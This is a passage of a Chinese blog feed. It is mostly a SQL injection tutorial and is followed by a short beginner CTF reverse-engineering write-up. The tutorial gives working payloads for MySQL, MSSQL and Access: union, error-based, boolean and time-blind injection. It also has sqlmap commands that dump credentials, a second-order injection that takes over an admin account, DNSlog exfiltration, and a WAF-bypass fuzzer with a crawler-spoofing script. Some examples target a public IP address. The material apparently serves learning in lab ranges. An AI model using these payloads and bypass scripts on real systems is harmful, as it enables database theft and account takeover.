union select1,group_concat (column_name),3,4 from information_schema.column where table_name=&#39;stormGroup_member&#39;</code></pre><p>查询指定数据信息:</p><pre><code>http://219.153.49.228:48354/new_list.php?id=-1 union select1,name , password,4 from stormGroup_membor</code></pre><p>猜解多个数据可以采用1imit x,1变动猜解</p><pre><code>http://219.153.49.228:48354/new_list.php?id=-1 union select1,name , password,4 from stormGroup_membor limit x,1  (x变动)</code></pre><hr><hr><p>高权限注入</p><p>获取所有数据库名:</p><pre><code>http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1 union select 1,group_concat(schema_name) ,3 from information_schema.schemata</code></pre><p>获取指定qqyw数据库名下的表名信息:</p><pre><code>union select i, group_concat (table_name) , 3 from information_schema.tables where table_achema=&#39;qqyw&#39;</code></pre><p>获取指定qqyw下的表名admin下的列名信息:</p><pre><code>union select1,group_concat (column_name),3,4 from information_schema.column where table_name=&#39;admin&#39; and information_schema=&#39;qqyw&#39;</code></pre><p>获取指定qayw下的admin数据</p><pre><code>union select 1, u, p,4 from qqyw.admin</code></pre><h1 id="根据sql脚本的语法判断’’是否需要绕过"><a href="#根据sql脚本的语法判断’’是否需要绕过" class="headerlink" title="根据sql脚本的语法判断’’是否需要绕过"></a>根据sql脚本的语法判断’’是否需要绕过</h1><p>select *from user where id=’1’<br>select *from user where name=’xiaodi’<br>$name=$_GET[‘’];<br>$sql=”select * from user where name=’$name ‘ “;<br>?x=xiaodi and 1=1<br>select * from user where name=’xiaodi and 1=1’</p><hr><h1 id="SQL-server-MSSQL注入语句"><a href="#SQL-server-MSSQL注入语句" class="headerlink" title="SQL server / MSSQL注入语句"></a>SQL server / MSSQL注入语句</h1><p>1.判断数据库类型  </p><pre><code>and exists (select * from sysobjects)--返回正常为mssql（也名sql server）and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈</code></pre><p>2.判断数据库类型</p><pre><code>and 1 = @@version-- 有回显时使用。and substring((select @@version),22,4)=&#39;2008&#39;-- 适用于无回显模式，后面的2008就是数据库版本,返回正常及是该版本，否则修改版本再尝试。</code></pre><p>3.获取数据库的个数</p><pre><code>1. and 1=(select quotename(count(name)) from master..sysdatabases)--2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --3. and 1=(select str(count(name))%2b&#39;|&#39; from master..sysdatabases where dbid&gt;5) --        and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid&gt;5) --说明：dbid从1-4的数据库一般为系统数据库.</code></pre><p>5.获取数据库 （该语句是一次性获取全部数据库的，且语句只适合&gt;=2005，两条语句可供选择使用</p><pre><code>and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(&#39;&#39;))--and 1=(select &#39;|&#39;%2bname%2b&#39;|&#39; from master..sysdatabases FOR XML PATH(&#39;&#39;))--</code></pre><p>6.获取当前数据库  </p><pre><code>and db_name()&gt;0and 1=(select db_name())--</code></pre><p>7.获取当前数据库中的表（有2个语句可供选择使用）【下列语句可一次爆数据库所有表（只限于    mssql2005及以上版本）】</p><pre><code>and 1=(select quotename(name) from 数据库名..sysobjects where xtype=&#39;U&#39; FOR XML PATH(&#39;&#39;))-- and 1=(select &#39;|&#39;%2bname%2b&#39;|&#39; from 数据库名..sysobjects where xtype=&#39;U&#39;  FOR XML PATH(&#39;&#39;))--</code></pre><p>8.获得表里的列一次爆指定表的所有列（只限于mssql2005及以上版本）：</p><pre><code>and 1=(select quotename(name) from 数据库名..syscolumns where id =(select  id from 数据库名..sysobjects where name=&#39;指定表名&#39;) FOR XML PATH(&#39;&#39;))-- and 1=(select &#39;|&#39;%2bname%2b&#39;|&#39; from 数据库名..syscolumns where id =(select  id from 数据库名..sysobjects where name=&#39;指定表名&#39;) FOR XML PATH(&#39;&#39;))--</code></pre><p>9.获取指定数据库中的表的列的数据库</p><p>逐条爆指定表的所有字段的数据（只限于mssql2005及以上版本）：</p><pre><code>and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(&#39;&#39;))--</code></pre><p>一次性爆N条所有字段的数据（只限于mssql2005及以上版本）：</p><pre><code>and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(&#39;&#39;))--复制代码第一条语句：and  1=(select top 1 * from 指定数据库..指定表名 FOR XML  PATH(&#39;&#39;))--加上where条件筛选结果出来会更加好，如：where  and name like &#39;%user%&#39;  就会筛选出含有user关键词的出来。用在筛选表段时很不错。</code></pre><h1 id="PostgraSQL注入语句"><a href="#PostgraSQL注入语句" class="headerlink" title="PostgraSQL注入语句"></a>PostgraSQL注入语句</h1><p><a href="https://www.webshell.cc/524.html">https://www.webshell.cc/524.html</a></p><p><a href="https://www.cnblogs.com/yilishazi/p/14710349.html">https://www.cnblogs.com/yilishazi/p/14710349.html</a></p><p><a href="https://www.jianshu.com/p/ba0297da2c2e">https://www.jianshu.com/p/ba0297da2c2e</a></p><h1 id="Oracle注入语句"><a href="#Oracle注入语句" class="headerlink" title="Oracle注入语句"></a>Oracle注入语句</h1><p><a href="https://www.cnblogs.com/peterpan0707007/p/8242119.html">https://www.cnblogs.com/peterpan0707007/p/8242119.html</a></p><h1 id="MongoDB注入语句"><a href="#MongoDB注入语句" class="headerlink" title="MongoDB注入语句"></a>MongoDB注入语句</h1><p><a href="https://blog.csdn.net/weixin_33881753/article/details/87981552">https://blog.csdn.net/weixin_33881753/article/details/87981552</a></p><p><a href="https://www.secpulse.com/archives/3278.html">https://www.secpulse.com/archives/3278.html</a></p><p>#手工注入流程</p><p>高版本也可以利用information_schema库来注入（详细见上）</p><h2 id="MySQL："><a href="#MySQL：" class="headerlink" title="MySQL："></a>MySQL：</h2><pre><code>1.找到注入点 and 1=1 and 1=2 测试报错2.order by 5 # 到5的时候报错，获取字段总数为43.id=0(不是1就行，强行报错) union select 1,2,3,4 # 联合查询，2和3可以显示信息4.获取数据库信息user() ==&gt;rootdatabase() ==&gt;mozhe_Discuz_StormGroupversion() ==&gt;5.7.22-0ubuntu0.16.04.15.获取数据库表table_name 表名information_schema.tables 系统生成信息表table_schema=数据库名16进制或者用单引号括起来改变limit 0，1中前一个参数，得到两个表 StormGroup_member notice6.获取列名结果如下 id,name,password,status7.脱裤</code></pre><h2 id="Access："><a href="#Access：" class="headerlink" title="Access："></a>Access：</h2><p>由于access数据库结构不同，一般只能通过暴力猜解的方式注入</p><pre><code>1.and 1=2 报错找到注入点2.order by 获取总字段3.猜解表名 and exists (select * from admin) 页面返回正常，说明存在admin表4.猜解列名 and exists(select id from admin) 页面显示正常，admin表中存在id列 username,passwd 同样存在5.脱裤 union select 1,username,passwd,4 from admin</code></pre><h2 id="MSSQL："><a href="#MSSQL：" class="headerlink" title="MSSQL："></a>MSSQL：</h2><pre><code>1.and 1=2报错2.order by N# 获取总字段3.猜表名 and exists(select * from manage) 表名manage存在4.猜解列名 and exists(select id from manage) 列名id存在，同样username,password也存在5.脱裤 and exists (select id from manage where id=1 ) 证明id=1存在and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段长度为8and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段长度为16可用Burp的Intruder功能辅助猜解猜解username第1到8位的字符，ASCII转码 admin_mz猜解password第1到16位的字符，ASCII转码(Burp 爆破)转ASCII的py脚本：72e1bfc3f01b7583 MD5解密为97285101</code></pre><h1 id="SQL注入—报错盲注"><a href="#SQL注入—报错盲注" class="headerlink" title="SQL注入—报错盲注"></a>SQL注入—报错盲注</h1><p>基于布尔的SQL盲注-逻辑判断（优先级：2）<br>regexp,like,ascii,left,ord,mid</p><p>基于时间的SQL盲注-延时判断（优先级：3）<br>if,sleep</p><p>基于报错的SQL盲注-报错回显（优先级：1）<br>floor，updatexml，extractvalue</p><h2 id="基于报错的SQL盲注-报错回显"><a href="#基于报错的SQL盲注-报错回显" class="headerlink" title="基于报错的SQL盲注-报错回显"></a>基于报错的SQL盲注-报错回显</h2><p>floor<br>payload:<br>pikachu  insert</p><h3 id="floor"><a href="#floor" class="headerlink" title="floor"></a>floor</h3><p>username=x’ or(select 1 from(select count(*),concat((select(select (select  concat(0x7e,database(),0x7e))) from  information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) or ‘<br>&amp;password=xiaodi&amp;sex=%E7%94%B7&amp;phonenum=13878787788&amp;email=wuhan&amp;add=hubei &amp;submit=submit</p><h3 id="updatexml-个人觉得是最方便的"><a href="#updatexml-个人觉得是最方便的" class="headerlink" title="updatexml (个人觉得是最方便的)"></a>updatexml (个人觉得是最方便的)</h3><p>username=x ‘ or updatexml(1,concat(0x7e,(version())),0) or ‘ &amp; password=xiaodi &amp;                 sex=%E7%94%B7 &amp; honenum=13878787788 &amp; email=wuhan &amp; add=hubei &amp; submit=submit</p><h3 id="extractvalue"><a href="#extractvalue" class="headerlink" title="extractvalue"></a>extractvalue</h3><p>username=x ‘ or extractvalue(1,concat(0x7e,database())),0) or ‘ </p><h2 id="基于时间的SQL盲注-延时判断"><a href="#基于时间的SQL盲注-延时判断" class="headerlink" title="基于时间的SQL盲注-延时判断"></a>基于时间的SQL盲注-延时判断</h2><p>and if(ascii(substr(database(),1,1))=115,sleep(5),1)–+</p><p>substr截取字符串的第一位，共一位字符，若其ascii码为115，则休眠5s</p><p>and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)–+</p><pre><code>select table_name from information_schema.tables where table_schema=database() limit 0,1查询information_schema.tables 表中数据库为当前数据库的，索引从0开始的,共一位的数据</code></pre><h2 id="基于布尔的SQL盲注-逻辑判断"><a href="#基于布尔的SQL盲注-逻辑判断" class="headerlink" title="基于布尔的SQL盲注-逻辑判断"></a>基于布尔的SQL盲注-逻辑判断</h2><p>页面只返回True和False两种类型页面。利用页面返回不同，逐个猜解数据</p><p>当前数据库database（）的长度大于10，返回true页面，否则FALSE页面：</p><p><a href="http://127.0.0.1/Less-8/?id=1&#39;and">http://127.0.0.1/Less-8/?id=1&#39;and</a> (length(database()))&gt;10 –+</p><p>count(*)计数   concat()连接字符   floor()重复数据，返回0,1两个值  group by 进行分组 rand(0)避免数据重复造成的错误</p><p>猜当前数据库第一个字符</p><p><a href="http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1&#39;and">http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1&#39;and</a> ascii(substr(database(),1,1))&gt;114#</p><p>利用二分法，115为fal，114TRUE，数据库第一个字符ASCII为115，即s</p><h1 id="焯，使用sqlmap"><a href="#焯，使用sqlmap" class="headerlink" title="焯，使用sqlmap"></a>焯，使用sqlmap</h1><h2 id="爆出数据库版本"><a href="#爆出数据库版本" class="headerlink" title="爆出数据库版本"></a>爆出数据库版本</h2><p>sqlmap -u <a href="http://192.168.127.1:8080/sqli-labs/Less-8/?id=1">http://192.168.127.1:8080/sqli-labs/Less-8/?id=1</a> </p><p><img src="https://s2.loli.net/2022/03/01/OfUJD3qLcesRwbu.png"><br><img src="https://s2.loli.net/2022/03/01/SRLcVU1bFf2Jh8A.png"></p><h2 id="爆数据库名"><a href="#爆数据库名" class="headerlink" title="爆数据库名"></a>爆数据库名</h2><p>sqlmap -u <a href="http://192.168.127.1:8080/sqli-labs/Less-8/?id=1">http://192.168.127.1:8080/sqli-labs/Less-8/?id=1</a> -dbs</p><p><img src="https://s2.loli.net/2022/03/01/QCekclNzJTOVKs5.png"><br><img src="https://s2.loli.net/2022/03/01/NfGzwEdOvR5FkMW.png"></p><h2 id="爆当前数据库"><a href="#爆当前数据库" class="headerlink" title="爆当前数据库"></a>爆当前数据库</h2><p>sqlmap -u <a href="http://192.168.127.1:8080/sqli-labs/Less-8/?id=1">http://192.168.127.1:8080/sqli-labs/Less-8/?id=1</a> –current-db</p><p><img src="https://s2.loli.net/2022/03/01/L796beYEjtSvDNH.png"></p><h2 id="爆出security下的表名"><a href="#爆出security下的表名" class="headerlink" title="爆出security下的表名"></a>爆出security下的表名</h2><p>sqlmap -u <a href="http://192.168.127.1:8080/sqli-labs/Less-8/?id=1">http://192.168.127.1:8080/sqli-labs/Less-8/?id=1</a> -D security –tables</p><p><img src="https://s2.loli.net/2022/03/01/aFtXWoBU4xd1gr3.png"></p><h2 id="爆出security下users表的列名"><a href="#爆出security下users表的列名" class="headerlink" title="爆出security下users表的列名"></a>爆出security下users表的列名</h2><p>sqlmap -u <a href="http://192.168.127.1:8080/sqli-labs/Less-8/?id=1">http://192.168.127.1:8080/sqli-labs/Less-8/?id=1</a> -D security -T users –columns   </p><p><img src="https://s2.loli.net/2022/03/01/uja1UoKBnme2DtW.png"><br><img src="https://s2.loli.net/2022/03/01/qD1sw3NTgj4Khrk.png"></p><h2 id="爆出指定列下的数据"><a href="#爆出指定列下的数据" class="headerlink" title="爆出指定列下的数据"></a>爆出指定列下的数据</h2><p>sqlmap -u <a href="http://192.168.127.1:8080/sqli-labs/Less-8/?id=1">http://192.168.127.1:8080/sqli-labs/Less-8/?id=1</a> -D security -T users -C id,username,password –dump</p><p><img src="https://s2.loli.net/2022/03/01/pc6tR7XxKfkTzsv.png"><br><img src="https://s2.loli.net/2022/03/01/AV4SY9tfZHWwKJL.png"></p><h1 id="加解密注入，二次注入，DNSlog注入"><a href="#加解密注入，二次注入，DNSlog注入" class="headerlink" title="加解密注入，二次注入，DNSlog注入"></a>加解密注入，二次注入，DNSlog注入</h1><h2 id="加解密注入"><a href="#加解密注入" class="headerlink" title="加解密注入"></a>加解密注入</h2><p>get或post传输参数时可能采用了base64的加密方式将参数传输给服务器</p><p>比如<a href="http://www.xxx.com/index.php?id=MQ==">www.xxx.com/index.php?id=MQ==</a><br>加密部分：MQ==<br>解密结果：1 相当于id=1</p><h2 id="二次注入"><a href="#二次注入" class="headerlink" title="二次注入"></a>二次注入</h2><ol><li>原理</li></ol><p>二次注入是存储型注入，可以理解为构造恶意数据存储在数据库后，恶意数据被读取并进入到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中，</p><p>当Web程序调用存储在数据库中的恶意数据并执行SQL查询时，就发生了SQL二次注入。详细点来讲，就是在第一次进行数据库插入数据的时候，仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc </p><p>对其中的特殊字符进行了转义，在写入数据库的时候还是保留了原来的数据，但是数据本身还是脏数据。在将数据存入到了数据库中之后，开发者就认为数据是可信的。在下一次进行需要进行查询的时候，</p><p>直接从数据库中取出了脏数据，没有进行进一步的检验和处理，这样就会造成SQL的二次注入。比如在第一次插入数据的时候，数据中带有单引号，直接插入到了数据库中；然后在下一次使用中在拼凑的过程中，</p><p>就形成了二次注入。二次注入无法通过扫描工具或者代码自己手工测试出来的，二次注入一般会产生在网站程序源代码才会发现的注入漏洞，从前端或者黑盒测试是看不到这个漏洞的。</p><ol start="2"><li>过程</li><li>第一步：插入恶意数据</li></ol><p>第一次进行数据库插入数据的时候，仅仅对其中的特殊字符进行了转义，在写入数据库的时候还是保留了原来的数据，但是数据本身包含恶意内容。</p><p>第二步：引用恶意数据</p><p>在将数据存入到了数据库中之后，开发者就认为数据是可信的。在下一次需要进行查询的时候，直接从数据库中取出了恶意数据，没有进行进一步的检验和处理，这样就会造成SQL的二次注入。</p><ol start="3"><li>过程原理图</li></ol><p><img src="https://s2.loli.net/2022/03/06/zPjwLygYqstWTbm.png"></p><ol start="4"><li>思路</li></ol><p>a. 黑客通过构造数据的形式，在浏览器或者其他软件中提交HTTP数据报文请求到服务端进行处理，提交的数据报文请求中可能包含了黑客构造的SQL语句或者命令。</p><p>b. 服务端应用程序会将黑客提交的数据信息进行存储，通常是保存在数据库中，保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。</p><p>c. 黑客向服务端发送第二个与第一次不相同的请求数据信息。</p><p>d. 服务端接收到黑客提交的第二个请求信息后，为了处理该请求，服务端会查询数据库中已经存储的数据信息并处理，从而导致黑客在第一次请求中构造的SQL语句或者命令在服务端环境中执行。</p><p>e. 服务端返回执行的处理结果数据信息，黑客可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。</p><h2 id="DNSlog注入"><a href="#DNSlog注入" class="headerlink" title="DNSlog注入"></a>DNSlog注入</h2><ol><li>原理<br>首先需要有一个可以配置的域名，比如：ceye.io，然后通过代理商设置域名 ceye.io 的 nameserver 为自己的服务器 A，然后再服务器 A 上配置好 DNS Server，</li></ol><p>这样以来所有 ceye.io 及其子域名的查询都会到 服务器 A 上，这时就能够实时地监控域名查询请求了。DNS在解析的时候会留下日志，咱们这个就是读取多级域名的解析日志，</p><p>来获取信息。简单来说就是把信息放在高级域名中，传递到自己这，然后读取日志，获取信息</p><ol start="2"><li><p>利用场景</p></li><li><p>在sql注入时为布尔盲注、时间盲注，注入的效率低且线程高容易被waf拦截，又或者是目标站点没有回显，我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功，这时候就要用到我们的DNSlog注入。</p></li><li><p>推荐平台</p></li></ol><p>a. <a href="http://www.dnslog.cn/">http://www.dnslog.cn</a></p><p>b. <a href="http://ceye.io/%EF%BC%88%E9%9C%80%E8%A6%81%E6%B3%A8%E5%86%8C%EF%BC%89">http://ceye.io/（需要注册）</a>    </p><p>c. <a href="http://admin.dnslog.link/">http://admin.dnslog.link</a></p><h2 id="涉及资源"><a href="#涉及资源" class="headerlink" title="涉及资源"></a>涉及资源</h2><pre><code>Sqlmap注入Base64编码的注入点：https://www.bbsmax.com/A/A2dmVVQBze/https://www.freebuf.com/column/184587.htmlhttps://www.cnblogs.com/renhaoblog/p/12912452.htmlhttps://www.pianshen.com/article/9561325277/https://github.com/bugscanteam/dnslog/(自己搭建dnslog服务器)</code></pre><h2 id="靶场演练"><a href="#靶场演练" class="headerlink" title="靶场演练"></a>靶场演练</h2><h3 id="cooke注入"><a href="#cooke注入" class="headerlink" title="cooke注入"></a>cooke注入</h3><p>先找出所有的库名</p><p>union select 1,2,group_concat(schema_name) from information_schema.schemata#</p><p><img src="https://s2.loli.net/2022/03/06/biKfB6y5zR7YxMs.png"><br><img src="https://s2.loli.net/2022/03/06/OnCseyB71EpkVJf.png"></p><p>再爆出security下的表名</p><p>union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=’security’–+</p><p>再爆出表下有什么字段</p><p>union select 1,2,group_concat(column_name) from information_schema.columns where table_name=’users’–+</p><p>查看users里面所有账户和密码<br>Cookie: uname= ’ union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users–+</p><h3 id="有加密的cooke注入"><a href="#有加密的cooke注入" class="headerlink" title="有加密的cooke注入"></a>有加密的cooke注入</h3><p><img src="https://s2.loli.net/2022/03/06/P74nvNzbSgs2jqD.png"><br><img src="https://s2.loli.net/2022/03/06/1PQUld8SVxB9ebj.png"></p><p>可发现uname处有base64加密</p><p>根据报错信息得知还需要在单引号后加上右括号</p><p>admin’) 然后进行编码，报错<br>admin’) #然后进行编码，回显正常<br>说明闭合方式为 ( ‘ ‘ )</p><p>注入Cookie uname=</p><p>1’) union select </p><p>MScpIHVuaW9uIHNlbGVjdCA=<br><img src="https://s2.loli.net/2022/03/06/eCLz2hfoD8RZ7Hs.png"></p><p>本题需要注意的是闭合方式为 ( ‘ ‘ ) 和 加密注入</p><h3 id="二次注入-1"><a href="#二次注入-1" class="headerlink" title="二次注入"></a>二次注入</h3><p>在任何界面进行注入应该都是无效的，因为操作失败时会跳转到其他页面，而没有任何例如错误的回显信息。此处考虑的就不是之前那些把敏感信息弄出来的注入了，而是考虑利用改密码操作夺取其他账号的控制权。此处我们考虑二次注入，首先我们构造一个特殊的用户，该用户的用户名为 “admin’#”，密码随便设</p><p>使用admin’#进行登录</p><p><img src="https://s2.loli.net/2022/03/06/WXGEpZQUNFj3mfH.png"></p><p>登录成功后，更改密码为123</p><p><img src="https://s2.loli.net/2022/03/06/vdAEMFxzSgWe7NK.png"></p><p>返回主界面使用账户：admin 密码：123登录</p><p>此时如果将这个用户作为过滤条件实现记录的修改，该用户名后面的 “’#” 不仅能闭合字段，也能把后面的内容注释掉。而且成功闭合后，我们实际上操作的用户名应该是 “admin”。修改密码成功之后，使用用户名 “admin” 和我们修改的密码进行登录，发现我们夺去了该用户的密码，登录成功</p><p>如果用户名是 “admin’#”，则 SQL 语句会变成这样。</p><pre><code>UPDATE users SET PASSWORD =&#39;$pass&#39; where username =&#39;admin&#39;#&#39; and password=&#39;$curr_pass&#39; </code></pre><p>由于此时符号没有转义，因此该用户名的 “#” 在 SQL 语句中会当做是注释</p><pre><code>UPDATE users SET PASSWORD =&#39;$pass&#39; where username =&#39;admin&#39;#</code></pre><p>因此实现了修改admin的密码。</p><h3 id="DNS等注入"><a href="#DNS等注入" class="headerlink" title="DNS等注入"></a>DNS等注入</h3><p>暂时没成功</p><h1 id="WAF绕过"><a href="#WAF绕过" class="headerlink" title="WAF绕过"></a>WAF绕过</h1><p><img src="https://s2.loli.net/2022/03/07/G5ukCMqv6BQUHoE.png"></p><pre><code>数据库特性（补充）%23x%0aunion%23x%0Aselect%201,2,3    %20/*!44509union*/%23x%0aselect%201,2,3id=1/**&amp;id=-1%20union%20select%201,2,3%23*/%20union%20all%23%0a%20select%201,2,3%23</code></pre><p>分析下句<br>    %20union%20/<em>!44509select</em>/%201,2,3</p><p>在看下句<br>    /*!50001 select * from test */</p><p>数据库特性，当数据库版本高于5.00.01时才会执行</p><pre><code>/*!50001 select * from test */这样就真的注释掉，不会执行了</code></pre><h2 id="FUZZ绕过脚本"><a href="#FUZZ绕过脚本" class="headerlink" title="FUZZ绕过脚本"></a>FUZZ绕过脚本</h2><pre><code>#!/usr/bin/envpython&quot;&quot;&quot;Copyright(c)2006-2019sqlmapdevelopers(http://sqlmap.org/)Seethefile&#39;LICENSE&#39;forcopyingpermission&quot;&quot;&quot;import osfrom lib.core.common import singleTimeWarnMessagefrom lib.core.enums import DBMSfrom lib.core.enums import PRIORITY__priority__=PRIORITY.HIGHESTdef dependencies():    singleTimeWarnMessage(&quot;tamper script &#39;%s&#39; is only meant to be run against %s&quot;%(os.path.basename(__file__).split(&quot;.&quot;)[0],DBMS.MYSQL))def tamper(payload,**kwargs):#%23a%0aunion/*!44575select*/1,2,3    if payload:        payload=payload.replace(&quot;union&quot;,&quot;%23a%0aunion&quot;)        payload=payload.replace(&quot;select&quot;,&quot;/*!44575select*/&quot;)        payload=payload.replace(&quot;%20&quot;,&quot;%23a%0a&quot;)        payload=payload.replace(&quot;&quot;,&quot;%23a%0a&quot;)        payload=payload.replace(&quot;database()&quot;,&quot;database%23a%0a()&quot;)    return payloadimport requests,timeurl=&#39;http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1&#39;union=&#39;union&#39;select=&#39;select&#39;num=&#39;1,2,3&#39;a=&#123;&#39;%0a&#39;,&#39;%23&#39;&#125;aa=&#123;&#39;x&#39;&#125;aaa=&#123;&#39;%0a&#39;,&#39;%23&#39;&#125;b=&#39;/*!&#39;c=&#39;*/&#39;def bypass():    for xiaodi in a:        for xiaodis in aa:            for xiaodiss in aaa:                for two in range(44500,44600):                    urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiaodiss+num                    #urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xiaodiss+num                    try:                        result=requests.get(urls).text                        len_r=len(result)                        if (result.find(&#39;safedog&#39;)==-1):                            #print(&#39;bypass url addreess：&#39;+urls+&#39;|&#39;+str(len_r))                             print(&#39;bypass url addreess：&#39;+urls+&#39;|&#39;+str(len_r))                        if len_r==715:                             fp = open(&#39;url.txt&#39;,&#39;a+&#39;)                             fp.write(urls+&#39;\n&#39;)                             fp.close()                    except Exception as err:                        print(&#39;connecting error&#39;)                        time.sleep(0.1)if__name__==&#39;__main__&#39;:    print(&#39;fuzz strat!&#39;)    bypass()</code></pre><h2 id="伪造成百度爬虫脚本"><a href="#伪造成百度爬虫脚本" class="headerlink" title="伪造成百度爬虫脚本"></a>伪造成百度爬虫脚本</h2><pre><code>import jsonimport requestsurl=&#39;http://192.168.0.103:8080/&#39;head=&#123;    &#39;User-Agent&#39;:&#39;Mozilla/5.0(compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)&#39;&#125;for data in open(&#39;PH1P.txt&#39;):    data=data.replace(&#39;\n&#39;,&#39;&#39;)    urls=url+data    code=requests.get(urls.headers=head).status_code    print(urls+&#39;|&#39;+str(code))</code></pre><h2 id="sqlmap-temper脚本使用教程"><a href="#sqlmap-temper脚本使用教程" class="headerlink" title="sqlmap temper脚本使用教程"></a>sqlmap temper脚本使用教程</h2><p><a href="https://blog.csdn.net/qq_34444097/article/details/82717357">https://blog.csdn.net/qq_34444097/article/details/82717357</a></p><h2 id="其他方式"><a href="#其他方式" class="headerlink" title="其他方式"></a>其他方式</h2><p>方式一：IP白名单</p><p>通过对网站ip地址的伪造，知道对方网站ip地址，那就默认为ip地址为白名单。</p><p>从网络层获取的ip，这种一般伪造不来，如果是获取客户端的ip，这样就饿可能存在伪造ip绕过的情况。</p><p>测试方法：修改http的header来by pass waf</p><pre><code>X-forwarded-forX-remote-IPX-remote-addrX-Real-IP</code></pre><p>方式二：静态资源</p><p>特定的静态资源后缀请求，常见的静态文件(.js、.jpg、.swf、.css等），类似白名单机制，waf为了检测效率，不去检测这样一些静态文件名后缀的请求。</p><p><a href="http://127.0.0.1/sql.php?id=1">http://127.0.0.1/sql.php?id=1</a></p><p><a href="http://127.0.0.1/sql.php/1.js?id=1">http://127.0.0.1/sql.php/1.js?id=1</a></p><p>备注：Aspx/php只识别到前面的.aspx/.php，后面基本不识别。</p><p><img src="https://s2.loli.net/2022/03/07/iRaKymxZogBM98S.png"></p><p>方式三：url白名单</p><p>为了防止误拦，部分waf内置默认的白名单列表，如admin/manager/system等管理后台。</p><p>只要url中存在白名单的字符串，就作为白名单不进行检测。常见的url构造姿势<br>涉及资源：</p><p><a href="https://www.cnblogs.com/backlion/p/9721687.html">https://www.cnblogs.com/backlion/p/9721687.html</a></p><p><a href="https://blog.csdn.net/nzjdsds/article/details/93740686">https://blog.csdn.net/nzjdsds/article/details/93740686</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;知识点:&lt;br&gt;在MYsQL5.o以上版本中,mysql存在一个自带数据库名为&lt;br&gt;information_schema，它是一个存储记录有所有数掘库名，表名，列名的数据库，也相当于可以通过查询它获取指定数据库下面的表名或列名信息。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;ht</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>buuctf   re   WP</title>
    <link href="http://example.com/2022/10/01/re_reverse/"/>
    <id>http://example.com/2022/10/01/re_reverse/</id>
    <published>2022-10-01T09:33:18.647Z</published>
    <updated>2020-12-13T17:31:57.187Z</updated>
    
    <content type="html"><![CDATA[<h1 id="IDA中的快捷键"><a href="#IDA中的快捷键" class="headerlink" title="IDA中的快捷键"></a><strong>IDA中的快捷键</strong></h1><pre><code>&quot;r&quot;           将ASC码转化为字符 “h”           将字符转化为asv码“f5”          查看伪代码“ c ”   “shift+f12”   查看字符串“ctrl+x  ”    查看ida view -a 界面“strcmp”      函数是string compare(字符串比较)的缩写，用于比较两个字符串并根据比较结果返回整数。基本形式为strcmp(str1,str2)，若str1=str2，则返回零；若str1&lt;str2，则返回负数；若str1&gt;str2，则返回正数。</code></pre><h1 id="reverse-1"><a href="#reverse-1" class="headerlink" title="reverse 1"></a>reverse 1</h1><p><img src="https://i.loli.net/2020/12/08/HdpXyfstO8LMFZP.gif"></p><p>如图，这个hello world 非常可疑，可能就是flag</p><p><img src="https://i.loli.net/2020/12/08/6R7TrIeuhHDaNEo.gif"></p><p>str2就是flag，但是有个if函数将所有的o改成了0</p><h1 id="reverse-2"><a href="#reverse-2" class="headerlink" title="reverse 2"></a>reverse 2</h1><p>首先f5查看伪代码</p><p><img src="https://i.loli.net/2020/12/08/eGRk2xPzitOYqjE.jpg"></p><p><img src="https://i.loli.net/2020/12/08/nGfT5xzVNmEqSk8.jpg"></p><p>阅读可知flag中的i和r都被依次替换为了1</p><h1 id="内涵的软件"><a href="#内涵的软件" class="headerlink" title="内涵的软件"></a>内涵的软件</h1><p><img src="https://i.loli.net/2020/12/10/uDXVc9QJ8YgWvCS.gif"></p><p>这东西看上去就像是flag的样子，去试了试base64和md5都不对，没想到</p><p>flag竟然就是flag{49d3c93df25caad81232130f3d2ebfad}。</p><p>好像没什么内涵嘛  ？_？</p><h1 id="JDCTF"><a href="#JDCTF" class="headerlink" title="JDCTF"></a>JDCTF</h1><p>这题挺简单的，与上题差不多。</p><p>直接放进ida里找字符串。</p><h1 id="helloworld"><a href="#helloworld" class="headerlink" title="helloworld"></a>helloworld</h1><p>用jbe打开后寻找flag字符串，就可以了</p><p><img src="https://i.loli.net/2020/12/10/N7Hp6Z4Lk3jnJUh.gif"></p><h1 id="不一样的flag"><a href="#不一样的flag" class="headerlink" title="不一样的flag"></a>不一样的flag</h1><p>puts(1 up)</p><p>puts(2 down)</p><p>puts(3 left)</p><p>printf(4 right)</p><p>1 2 3 4 依次控制上下左右。</p><p><img src="https://i.loli.net/2020/12/14/GyY9pnIPZgmUK4O.gif"></p><p>那么这个字符串就是迷宫了</p><p><img src="https://i.loli.net/2020/12/14/avG48pCXYcEVgon.gif"></p><p>既然是25个数就猜测他是 5x5 的迷宫吧^_^</p><p><img src="https://i.loli.net/2020/12/14/ziEXqCP5TQsbMef.gif"></p><p>所以 222441144222 就可以了</p>]]></content>
    
    
      
      
